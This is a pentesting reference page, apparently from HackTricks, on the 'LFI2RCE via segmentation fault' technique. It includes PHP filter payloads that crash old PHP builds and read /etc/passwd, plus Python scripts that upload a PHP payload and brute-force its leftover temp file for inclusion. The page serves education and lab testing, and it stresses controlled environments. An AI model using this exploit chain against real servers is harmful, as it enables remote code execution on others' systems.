// HackTricks · Web Pentesting

LFI2RCE via Segmentation Fault

LFI2RCE via Segmentation Fault

The following php://filter payloads caused segmentation faults in the specific PHP 7.0 and 7.2 environments used by the original challenge writeups.[1][2]

[!NOTE] These are version-specific crashes, not reliable payloads for current PHP releases. Reproduce them only in a controlled environment that matches the affected build.

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

For a multipart POST upload, PHP stores the file in its configured upload temporary directory, or the system temporary directory when none is configured. Unless the application moves or renames it, PHP normally deletes the temporary file at the end of the request.[3]

In the affected versions, crashing PHP during the upload can interrupt that cleanup and leave the temporary file behind. If a separate local file inclusion (LFI) vulnerability can include files from the temporary directory, an attacker can search for the generated name and include the uploaded PHP payload.[1][2]

The archived easyengine/php7.0 container can provide a PHP 7.0 test environment.[4]

# Upload a file while triggering the segmentation fault.
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
with open("la.php", "rb") as payload:
    try:
        requests.post(url, files={"file": payload})
    except requests.RequestException:
        pass  # The deliberately crashed worker may drop the connection.

# Search for a six-character PHP temporary-file suffix.
import itertools
import string

charset = string.ascii_letters + string.digits
base_url = "http://127.0.0.1:8008"

# This exhaustive 62^6 loop is intentionally simple and can take a very long time.
for chars in itertools.product(charset, repeat=6):
    suffix = "".join(chars)
    candidate = f"{base_url}/index.php?i=/tmp/php{suffix}"
    response = requests.get(candidate, timeout=5)
    if b"spyd3r" in response.content:
        print(f"[+] Include succeeded: {candidate}")
        break

The exhaustive example is useful for illustrating the filename search, but it is not operationally efficient. In a lab, constrain the candidate space with observed temporary-name behavior or use bounded concurrency without overwhelming the target.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.